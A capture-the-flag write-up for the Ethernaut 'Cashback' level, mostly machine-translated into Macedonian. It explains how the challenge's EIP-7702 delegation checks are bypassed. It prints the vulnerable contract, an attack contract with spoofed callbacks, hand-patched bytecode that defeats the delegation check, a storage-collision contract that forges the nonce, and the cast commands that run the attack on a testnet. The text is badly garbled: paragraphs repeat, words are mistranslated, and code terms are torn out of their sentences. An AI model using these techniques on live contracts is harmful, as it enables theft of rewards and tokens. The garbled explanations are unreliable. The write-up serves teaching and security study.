Додека копав во нијансите на EIP-7702, работев низ предизвик — сценарио наменето за да се тестира дали програмерите навистина ги разбираат безбедносните импликации на делегацијата базирана на 7702. NFT еднаш доволно поени се акумулира. Искористете го Cashback Неверојатен Cashback Искористете го Cashback To participate, users must delegate to the Cashback contract using EIP-7702. Only then can they call payWithCashback and start earning points. The system appears to enforce strict access controls, and its modifiers suggest a clear security model. In reality, EIP-7702 delegation creates security pitfalls that this challenge is designed to demonstrate. This writeup covers how the contract is supposed to work, where the assumptions fail, and how the exploit path emerges. предизвикот https://ethernaut.openzeppelin.com/level/36 https://ethernaut.openzeppelin.com/level/36 Вие само што се приклучи Cashback, најжешкиот крипто необанка во градот. Нивниот терен е неодолива: за секој плаќање на синџирот што го правите, заработувате поени. Системот користи EIP-7702 за да им овозможи на EOAs да акумулираат кешбајк. корисниците мора да делегираат на договорот за кешбајк за да ја користат функцијата payWithCashback. Постојат гласини дека постои задната врата за корисниците на електрична енергија. Вашата кратка е едноставна: станете кошмар на програмата за лојалност. Максимизирајте го вашиот поврат во секоја поддржана валута и одете со најмалку две Super Cashback NFT, од кои една мора да одговара на вашата адреса на играч. Вие само што се приклучи Cashback, најжешкиот крипто необанка во градот. Нивниот терен е неодолива: за секој плаќање на синџирот што го правите, заработувате поени. Системот ги искористува EIP-7702 за да им овозможи на EOAs да акумулираат кеш-бац. функција на . payWithCashback Постојат гласини дека постои задната врата за корисниците на електрична енергија. Вашата кратка е едноставна: станете кошмар на програмата за лојалност. Максимизирајте го вашиот поврат во секоја поддржана валута и одете со најмалку две Super Cashback NFT, од кои една мора да одговара на вашата адреса на играч. // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {ERC1155} from "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import {TransientSlot} from "@openzeppelin/contracts/utils/TransientSlot.sol"; /*////////////////////////////////////////////////////////////// CURRENCY LIBRARY //////////////////////////////////////////////////////////////*/ type Currency is address; using {equals as ==} for Currency global; using CurrencyLibrary for Currency global; function equals(Currency currency, Currency other) pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(other); } library CurrencyLibrary { error NativeTransferFailed(); error ERC20IsNotAContract(); error ERC20TransferFailed(); Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); function isNative(Currency currency) internal pure returns (bool) { return Currency.unwrap(currency) == Currency.unwrap(NATIVE_CURRENCY); } function transfer(Currency currency, address to, uint256 amount) internal { if (currency.isNative()) { (bool success,) = to.call{value: amount}(""); require(success, NativeTransferFailed()); } else { (bool success, bytes memory data) = Currency.unwrap(currency).call(abi.encodeCall(IERC20.transfer, (to, amount))); require(Currency.unwrap(currency).code.length != 0, ERC20IsNotAContract()); require(success, ERC20TransferFailed()); require(data.length == 0 || true == abi.decode(data, (bool)), ERC20TransferFailed()); } } function toId(Currency currency) internal pure returns (uint256) { return uint160(Currency.unwrap(currency)); } } /*////////////////////////////////////////////////////////////// CASHBACK CONTRACT //////////////////////////////////////////////////////////////*/ /// @dev keccak256(abi.encode(uint256(keccak256("Cashback")) - 1)) & ~bytes32(uint256(0xff)) contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { using TransientSlot for *; error CashbackNotCashback(); error CashbackIsCashback(); error CashbackNotAllowedInCashback(); error CashbackOnlyAllowedInCashback(); error CashbackNotDelegatedToCashback(); error CashbackNotEOA(); error CashbackNotUnlocked(); error CashbackSuperCashbackNFTMintFailed(); bytes32 internal constant UNLOCKED_TRANSIENT = keccak256("cashback.storage.Unlocked"); uint256 internal constant BASIS_POINTS = 10000; uint256 internal constant SUPERCASHBACK_NONCE = 10000; Cashback internal immutable CASHBACK_ACCOUNT = this; address public immutable superCashbackNFT; uint256 public nonce; mapping(Currency => uint256 Rate) public cashbackRates; mapping(Currency => uint256 MaxCashback) public maxCashback; modifier onlyCashback() { require(msg.sender == address(CASHBACK_ACCOUNT), CashbackNotCashback()); _; } modifier onlyNotCashback() { require(msg.sender != address(CASHBACK_ACCOUNT), CashbackIsCashback()); _; } modifier notOnCashback() { require(address(this) != address(CASHBACK_ACCOUNT), CashbackNotAllowedInCashback()); _; } modifier onlyOnCashback() { require(address(this) == address(CASHBACK_ACCOUNT), CashbackOnlyAllowedInCashback()); _; } modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } modifier onlyEOA() { require(msg.sender == tx.origin, CashbackNotEOA()); _; } modifier unlock() { UNLOCKED_TRANSIENT.asBoolean().tstore(true); _; UNLOCKED_TRANSIENT.asBoolean().tstore(false); } modifier onlyUnlocked() { require(Cashback(payable(msg.sender)).isUnlocked(), CashbackNotUnlocked()); _; } receive() external payable onlyNotCashback {} constructor( address[] memory cashbackCurrencies, uint256[] memory currenciesCashbackRates, uint256[] memory currenciesMaxCashback, address _superCashbackNFT ) ERC1155("") { uint256 len = cashbackCurrencies.length; for (uint256 i = 0; i < len; i++) { cashbackRates[Currency.wrap(cashbackCurrencies[i])] = currenciesCashbackRates[i]; maxCashback[Currency.wrap(cashbackCurrencies[i])] = currenciesMaxCashback[i]; } superCashbackNFT = _superCashbackNFT; } // Implementation Functions function accrueCashback(Currency currency, uint256 amount) external onlyDelegatedToCashback onlyUnlocked onlyOnCashback{ uint256 newNonce = Cashback(payable(msg.sender)).consumeNonce(); uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; if (cashback != 0) { uint256 _maxCashback = maxCashback[currency]; if (balanceOf(msg.sender, currency.toId()) + cashback > _maxCashback) { cashback = _maxCashback - balanceOf(msg.sender, currency.toId()); } uint256[] memory ids = new uint256[](1); ids[0] = currency.toId(); uint256[] memory values = new uint256[](1); values[0] = cashback; _update(address(0), msg.sender, ids, values); } if (SUPERCASHBACK_NONCE == newNonce) { (bool success,) = superCashbackNFT.call(abi.encodeWithSignature("mint(address)", msg.sender)); require(success, CashbackSuperCashbackNFTMintFailed()); } } // Smart Account Functions function payWithCashback(Currency currency, address receiver, uint256 amount) external unlock onlyEOA notOnCashback { currency.transfer(receiver, amount); CASHBACK_ACCOUNT.accrueCashback(currency, amount); } function consumeNonce() external onlyCashback notOnCashback returns (uint256) { return ++nonce; } function isUnlocked() public view returns (bool) { return UNLOCKED_TRANSIENT.asBoolean().tload(); } } The Intended Security Model Договорот за кешбек користи модификатори за контрола повици и Код за извршување: who where : Caller identity checks : Ensures the caller is an EOA, not a contract ( ). onlyEOA() msg.sender == tx.origin : Ensures the caller is the Cashback contract itself. onlyCashback() onlyNotCashback(): Осигурува дека повикувачот не е договорот за Cashback. : Execution context checks onlyOnCashback(): обезбедува кодот да се извршува на адресата на договорот за Cashback. notOnCashback(): Осигурува дека кодот НЕ се извршува на адресата на договорот за Cashback. Во суштина, системот треба да работи вака: Делегиран EOA повикува payWithCashback на себе. Ова работи затоа што повикот не се случуваOnCashback и поминува самоEOA. Функцијата payWithCashback повикува Cashback.accrueCashback директно на инстанцијата Cashback. Таа има три модификатори: onlyDelegatedToCashback поминува затоа што повикувачот е делегиран на Cashback, onlyOnCashback поминува затоа што повикот се случува на Cashback директно. The onlyUnlocked modifier calls isUnlocked on msg.sender. Бидејќи payWithCashback го отклучи, оваа проверка поминува. Оваа функција има два модификатори: самоCashback поминува затоа што е повикан од instance Cashback, а неOnCashback поминува затоа што оваа функција работи во контекст на EOA. Конечно, consumeNonce го зголемува ненцето во складирањето на EOA. Пронаоѓање константи Пред да можеме да нападнеме, треба да ги идентификуваме клучните параметри и адреси на предизвикот. Поддржани валути Договорот за Cashback поддржува две валути.Иако не е експлицитно дефиниран во описот на предизвикот, можеме да ги најдеме: Заедничка валута на ЕУЕЕЕеееееееееееееееееееееееееееееееее Слобода Монета (ФРЕЕ) на 0x13AaF3218Facf57CfBf5925E15433307b59BCC37 Можете да го проверите ова со земање на адресата на ниво и проверка на и со повикување на . Вашиот код FREE() Функција Супер кешбајк NFT Можете да ја најдете нејзината адреса со повикување На вашата Cashback инстанца. superCashbackNFT Максимална стапка на Cashback и Cashback За да ги пресметаме потребните трошоци за максимално враќање на пари, ни се потребни два параметри. и на вашиот случај. Договорот го користи for percentage calculations: maxCashback cashbackRates BASIS_POINTS = 10000 uint256 cashback = (amount * cashbackRates[currency]) / BASIS_POINTS; На пример, Freedom Coin има макс кешбајк од and a rate of (т.е. 2%) За пресметување на потребните трошоци: 500e18 200 amount = maxCashback * BASIS_POINTS / rate amount = 500e18 * 10000 / 200 = 25000e18 Тоа е 25.000 бесплатни токени. Нонце Започнува од 0. Договорот ментира Super Cashback NFT кога вашиот nonce достигнува , which is hardcoded to 10,000. SUPERCASHBACK_NONCE напад Despite the complex architecture looking unbreakable at first glance, there are several flawed assumptions we can exploit. Гледајќи ја архитектурата, забележуваме дека можеме да повикаме Иако неговите модификатори се дизајнирани да го ограничат пристапот до внатрешни повици преку , самата функција е надворешна – така што можеме директно да ја наречеме ако ги заобиколиме стражарите: accrueCashback payWithCashback onlyOnCashback Можеме да го заобиколиме со директно повикување на инстанцата Cashback. onlyUnlocked Бидејќи овој модификатор повикува еUnlocked на msg.sender, можеме да го заобиколиме со повикување од договор со функција isUnlocked која секогаш враќа вистина. This one's tricky. Let's examine it closely: onlyDelegatedToCashback modifier onlyDelegatedToCashback() { bytes memory code = msg.sender.code; address payable delegate; assembly { delegate := mload(add(code, 0x17)) } require(Cashback(delegate) == CASHBACK_ACCOUNT, CashbackNotDelegatedToCashback()); _; } на Модификаторот се обидува да провери дека повикувачот го делегираше договорот за поврат на пари со читање на адресата за делегирање од бајтекодот на сметката. followed by the 20-byte delegation address. The modifier reads these 20 bytes (which it expects to be an address) and verifies they match the Cashback instance address. onlyDelegatedToCashback 0xef0100 Да се заобиколи , ни е потребен бајтекодот на нашиот договор за напад за да изгледа како валиден означувач на делегирање – конкретно, адресата Cashback мора да се појави на бајтови 4–23. onlyDelegatedToCashback 0x??????<CASHBACK_ADDRESS>????...<rest_of_contract>. Ќе се справиме со ова рачно подоцна. Прво, да го креираме договорот за напад. Подготвување на договорот за напад Како што беше дискутирано, нашиот договор ќе биде повикан назад од страна на Cashback инстанца два пати: да се провери дали е отклучен и да се консумира ненце. сакаме целосно враќање за двете валути, но бидејќи NFTs се наметнати со адресата на повикувачот како ИД, вториот ќе се врати. така што ние ќе се врати Нонсе само еднаш. consumeNonce accrueCashback 10,000 Ние ќе ги поставиме валутите и адресата Cashback како константи. directly, we don't need to spend real tokens—we just need to pass the right amounts to get maximum cashback. accrueCashback Конечно, ќе го пренесеме целиот кешбек и НФТ на адресата на нашиот играч. Еве го целосниот договор: // SPDX-License-Identifier: MIT pragma solidity 0.8.30; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; import {Currency, Cashback} from "./Cashback.sol"; contract AccrueCashbackAttack { Currency public constant NATIVE_CURRENCY = Currency.wrap(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); Currency public constant FREEDOM_COIN = Currency.wrap(0x13AaF3218Facf57CfBf5925E15433307b59BCC37); Cashback public constant CASHBACK_INSTANCE = Cashback(payable(0xf991E138bA49e25a7DA1a11A726077c77c6241A8)); bool nftMinted; function attack(address player) external { uint256 nativeMaxCashback = CASHBACK_INSTANCE.maxCashback(NATIVE_CURRENCY); uint256 freeMaxCashback = CASHBACK_INSTANCE.maxCashback(FREEDOM_COIN); // Calculate amounts required to reach max cashback for each currency uint256 BASIS_POINTS = 10000; // Basis points from Cashback uint256 nativeAmount = (nativeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(NATIVE_CURRENCY); uint256 freedomAmount = (freeMaxCashback * BASIS_POINTS) / CASHBACK_INSTANCE.cashbackRates(FREEDOM_COIN); // Call accrueCashback to mint cashback tokens and SuperCashback NFT to the attack contract CASHBACK_INSTANCE.accrueCashback(NATIVE_CURRENCY, nativeAmount); CASHBACK_INSTANCE.accrueCashback(FREEDOM_COIN, freedomAmount); // Transfer cashback tokens from attack contract to player CASHBACK_INSTANCE.safeTransferFrom(address(this), player, NATIVE_CURRENCY.toId(), nativeMaxCashback, ""); CASHBACK_INSTANCE.safeTransferFrom(address(this), player, FREEDOM_COIN.toId(), freeMaxCashback, ""); // Transfer the SuperCashback NFT (minted with the attack contract's address as ID) IERC721 superCashbackNFT = IERC721(CASHBACK_INSTANCE.superCashbackNFT()); superCashbackNFT.transferFrom(address(this), player, uint256(uint160(address(this)))); } function isUnlocked() public pure returns (bool) { return true; } function consumeNonce() external returns (uint256) { // We can mint only one NFT, because they are minted with id of the contract if (nftMinted) { return 0; } nftMinted = true; return 10_000; } } Прилагодување на Bytecode за да се заобиколат проверките за делегирање Сега доаѓа делот на трчање.Ние треба да го промените bytecode да го помине Модифицирајте ги вашите договори прво. AccrueCashbackAttack onlyDelegatedToCashback If you're using Hardhat, the bytecode will be in . There are two properties: artifacts/contracts/Attack.sol/AccrueCashbackAttack.json bytecode е кодот за создавање (init) извршен еднаш за време на распоредувањето.Тоа ја изведува логиката на конструкторот и го враќа кодот за време на извршување што треба да се чува на синџирот. is the runtime code stored on-chain after deployment and executed whenever the contract is called. This is what we'll modify. deployedBytecode Ние ќе ја поставиме нашата Cashback инстанца адреса на офсет Точно каде Погледнете го тоа.The Потоа следи: 0x03 onlyDelegatedToCashback deployedBytecode 0x??????<CASHBACK_ADDRESS>????<ATTACK_DEPLOYED_BYTECODE> Скокање над вградената адреса За да ја прескокнете 20-битовата адреса за време на нормалното извршување, ќе ги користиме овие опкодови: to specify the jump destination PUSH1 скокање за да се изврши скокање JUMPDEST за да ја означите дестинацијата (потребно за да се избегне враќање) На овој начин, само Промените го читаат . onlyDelegatedToCashback <CASHBACK_ADDRESS> Но, на кој компромис треба да скокаме? Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 ?? | PUSH ?? | [02] | 56 | JUMP | [03] | <CASHBACK_ADDRESS> | | [17] | ??? | ??? | Очигледна, но погрешна претпоставка е Веднаш по . In reality, the answer depends on how lucky you are with your Cashback instance address. Let me show you why. 0x17 <CASHBACK_ADDRESS> My instance is at Значи мојот договор би можел да почне вака: 0xf991E138bA49e25a7DA1a11A726077c77c6241A8 Cashback address ↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ 0x601756f991E138bA49e25a7DA1a11A726077c77c6241A85B ↑↑↑↑↑↑ ↑↑ PUSH + JUMP JUMPDEST Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 17 | PUSH 0x17 | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [17]? | 5B | JUMPDEST | Сепак, ајде да видиме како овој bytecode се распаѓа: Problem! The byte in our instance address is the Кога EVM се среќава , ги консумира следните 30 бајтови како буквални аргументи, а не како инструкции. ( ) е позициониран на офсет , but it gets consumed as data for наместо да се извршува како инструкција. Ова го расипува протокот на батекод, предизвикувајќи кога извршувањето ќе стигне до таа локација. 0x7D PUSH30 PUSH30 JUMPDEST 5B 0x17 PUSH30 EVM error: InvalidJump Let's fix this. We'll add padding to push our надвор од 30 бајтови потрошени од : JUMPDEST PUSH30 Совршено! на се појавува на 2а. Да ги ажурираме нашите Мојата конечна верзија: JUMPDEST PUSH1 0x602a56f991E138bA49e25a7DA1a11A726077c77c6241A8000000000000000000000000000000000000005B<attack-bytecode> Offset | Bytes | Instructions | --------------------------------------------| [00] | 60 2a | PUSH 0x2a | [02] | 56 | JUMP | [03] | f991E138...c6241A8 | <Instance> | [2a] | 5B | JUMPDEST | Оваа префикс има вкупно 43 бајтови: 2) во + (1) + 20+ одговори (19) + (1). PUSH1 JUMP address padding JUMPDEST Прилагодување на скок на компензација Сега можеме да додадеме Но, бидејќи ја зголемивме големината на договорот за 43 бајти, треба да ги прилагодиме сите and компензација од овој износ. deployedBytecode JUMP JUMPI За демонстрација, ајде да видиме како да го направите ова рачно. , choose Bytecode, and paste your . On the right, you'll see the opcodes list. Find the first на [0f]. Најди ги сите Опции кои се користат од and со вредности кои се совпаѓаат со ова and increase their values by 43. https://www.evm.codes/playground deployedBytecode JUMPDEST PUSH2 JUMP JUMPI JUMPDEST Овој метод не е совршен – можеме случајно да го измениме Но, лажни позитиви треба да бидат доволно ретки за овој предизвик. PUSH2 Зошто Push2? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them. Компилаторот го користи PUSH2 еднакво за сите дестинации за скок, наместо да ги меша PUSH1 и PUSH2. Зошто Push2? Because the initial contract size was 3142 (0x0C46) bytes, jump destinations can exceed 255, so the compiler must use PUSH2 to represent them. Компилаторот користи PUSH2 еднакво за сите дестинации за скокање наместо мешање PUSH1 и PUSH2 . Да го направите ова рачно би било огромно, па создадов сценарио кое: Finds all opcodes and stores their initial and adjusted offsets JUMPDEST Finds all opcodes with values matching initial offsets and updates them to adjusted values PUSH2 JUMPDEST Можете да го најдете скриптот за да го автоматизирате овој процес во . repository repository Никогаш слепо преземете и извршете случаен код, вклучувајќи го и овој! Секогаш прегледајте и разберете што работите.Користете изолирани средини како што се devcontainers или VMs кога експериментирате со несигурен код. Никогаш слепо преземете и извршете случаен код, вклучувајќи го и овој! Секогаш прегледајте и разберете што работите.Користете изолирани средини како што се devcontainers или VMs кога експериментирате со несигурен код. Создавање на bytecode За да го имплементираме овој договор, треба да создадеме bytecode. value in artifacts contains it at the beginning. Here's mine: Демонтажата го покажува: bytecode 0x6080604052348015600e575f5ffd5b50610c468061001c5f395ff3fe [10] PUSH2 0c46 This is the initial code length— . 0c46 3142 bytes Треба да ја користиме нашата прилагодена должина на кодот плус 43 бајтови што ги додадовме рачно. (3185 bytes). The final creation code: 0C71 0x6080604052348015600e575f5ffd5b50610C718061001c5f395ff3fe ↑↑↑↑ Завршно собрание на Bytecode Конечниот байт-код е едноставно кодот за создавање поврзан со прилагодениот . deployedBytecode извршување на нападот Да го употребиме нашиот bytecode од Foundry: cast PRIVATE_KEY=0x{set-your-ethernaut-player-private-key} SEPOLIA_URL=https://{use-alchemy-or-infura} BYTECODE=0x{the-final-bytecode} YOUR_PLAYER_ADDRESS=0x{your-player-address} cast send --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY --create $BYTECODE Execute the attack: cast send $ATTACK_CONTRACT_ADDRESS \ "attack(address)" \ $YOUR_PLAYER_ADDRESS \ --rpc-url $SEPOLIA_URL --private-key $PRIVATE_KEY Проверете ја вашата трансакција на Etherscan. Треба да ги видите внатрешните трансакции поврзани со кешбек токени и трансфери на NFT. Во овој момент, сте постигнале максимално враќање за двете валути и сте добиле еден НФТ. Сепак, нејзиниот ИД одговара на адресата на вашиот договор за напад, а не на вашата адреса на играчот. Искористување на судир на складирање за вториот NFT We still need another NFT with our address as the ID. We can't simply repeat the same approach as in the previous attack. The only way is to actually execute како што е наменето – преку делегирање на вашата EOA на договорот за поврат на пари. Сепак, не можеме да го фалсификуваме function, so we need to increase our nonce some other way. payWithCashback consumeNonce EIP-7702 delegation doesn't create separate storage for each delegated contract. When an EOA delegates to a contract, the code executes against the EOA's own storage. If you delegate to different contracts over time, they all read and write to the same storage slots in your EOA. By exploiting this storage collision, we can manipulate the nonce. We'll create a contract that writes to the same storage slot, set the nonce to 9999, then re-delegate to Cashback and execute one more transaction to trigger the NFT mint. Имајте на ум дека Cashback сметката користи директива за распоред на прилагодено складирање за да го позиционира своето складирање на одреден слот. Оваа функција, воведена во Solidity 0.8.29, им овозможува на договорите да ги преместат своите променливи за складирање на произволни позиции. contract Cashback is ERC1155 layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba00 { // ... constants and immutables uint256 public nonce; } The е првата променлива во распоредот – сите претходни променливи се константи и непроменливи, така што не земаат слотови. од OpenZeppelin зема 3 слотови пред Всушност, заклучокот е на . Knowing this, let's inject a large nonce into our EOA storage. nonce ERC1155 nonce 0x442a9...ba03 Here's the Договор за манипулација што го распоредив во Сеполија: nonce contract NonceAttack layout at 0x442a95e7a6e84627e9cbb594ad6d8331d52abc7e6b6ca88ab292e4649ce5ba03 { uint256 public injectedNonce; // The next call to payWithCashback will increment it to 10_000 and we will get SuperCashback NFT function injectNonce() external { injectedNonce = 9999; } } The next step is to delegate our EOA to Foundry's Поддржува трансакции за овластување.Вообичаено би морале да побараме нонце на нашата сметка, да ја зголемемеме по една, да потпишеме трансакција за овластување и само тогаш да ја испратиме. NonceAttack. cast cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <NONCE_ATTACK_ADDRESS> Сега можеме да го поставиме nonce со користење на Запомнете, ние ја нарекуваме оваа функција на себе, а не на Случајот : injectNonce() NonceAttack cast send $YOUR_PLAYER_ADDRESS \ "injectNonce()" \ --rpc-url $SEPOLIA_URL \ --private-key $PRIVATE_KEY Завршен чекор во нападот Со нонце сега поставен на 9999 преку експлоатација на складирање на судир, конечниот чекор на нападот вклучува повторно делегирање на договорот за Cashback и извршување на уште една трансакција за да се поттикне нонцето на 10.000, предизвикувајќи ментирање на вториот SuperCashback NFT со вашата адреса на играчот како нејзиниот ИД. Повторно делегирајте ја вашата сметка на инстанцијата Cashback. Следете ги истите чекори како и со NonceAttack: cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth <CASHBACK_ADDRESS> Договорот за поврат на пари обезбедува функција за проверка на вашата нето. Да провериме дека е 9999: cast call $YOUR_PLAYER_ADDRESS \ "nonce()" \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Execute the final step by calling on yourself: payWithCashback cast send $YOUR_PLAYER_ADDRESS \ "payWithCashback(address,address,uint256)" \ 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE \ 0x03dcb79ee411fd94a701ba88351fef8f15b8f528 \ 1 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL Вие сега поседувате 2 NFTs и максимална кешбајк. Поднесете го нивото! И пред да одиме, не заборавајте да ја отстраните делегацијата. cast send 0x0000000000000000000000000000000000000000 \ --private-key $PRIVATE_KEY \ --rpc-url $SEPOLIA_URL \ --auth 0x0000000000000000000000000000000000000000 Она што го научивме 1. Validate delegation the right way. Секогаш проверувајте го Благодарение на EIP-3541, кој забранува имплементација на договори чиј bytecode започнува со 0xef, овој префикс сигурно ги разликува делегираните EOA од произволните договори. 0xef0100 2. Never store protocol-critical state inside an EOA. An EOA owner can delegate to any contract, and that contract can freely write to the same storage slots — including ones you might assume are private. All security-critical state must live in . your protocol's storage